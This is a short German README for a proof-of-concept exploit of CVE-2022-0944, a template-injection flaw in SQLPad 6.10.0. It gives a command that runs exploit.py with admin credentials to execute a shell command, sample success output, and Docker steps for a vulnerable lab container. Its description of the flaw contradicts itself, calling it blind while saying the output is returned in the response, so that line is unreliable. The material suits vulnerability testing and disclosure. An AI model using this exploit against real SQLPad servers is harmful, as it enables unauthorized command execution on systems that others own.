CVE-2022-0944

SQLPad - Template-Injection

Dies ist eine blinde Schwachstelle, was bedeutet, dass die Ausgabe direkt in der Antwort zurückgegeben wird.

Exploit

Verwenden Sie das Skript mit dem folgenden Befehl:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

Ausgabe

[*] Login was successfull
[*] Exploited!

Testumgebung

Verwendung von Docker:

• Starten Sie den Docker-Container - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Verbinden Sie sich mit dem Docker-Container - sudo docker exec -it vulnerable-sqlpad /bin/bash